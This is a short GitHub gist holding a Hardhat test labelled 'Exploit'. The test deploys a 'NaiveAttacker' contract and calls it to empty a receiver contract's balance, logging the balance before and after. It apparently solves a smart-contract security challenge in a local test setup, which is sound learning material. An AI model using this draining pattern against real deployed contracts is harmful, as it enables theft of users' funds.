Skip to content

Instantly share code, notes, and snippets.

@0xAnon101
Created August 15, 2022 05:47
Show Gist options
  • Save 0xAnon101/be6cac0217c292b9e062bf2304bb48c6 to your computer and use it in GitHub Desktop.
Save 0xAnon101/be6cac0217c292b9e062bf2304bb48c6 to your computer and use it in GitHub Desktop.
exploit interface calling
it("Exploit", async function () {
const naiveAttackerFactrory = await ethers.getContractFactory(
"NaiveAttacker",
attacker
);
const naiveAttacker = await naiveAttackerFactrory.deploy(this.pool.address);
// Attack
console.log(
"Receiver balance before attacking: ",
String(await ethers.provider.getBalance(this.receiver.address))
);
await naiveAttacker.emptyReceiverBalance(this.receiver.address);
console.log(
"Receiver balance after attacking: ",
String(await ethers.provider.getBalance(this.receiver.address))
);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment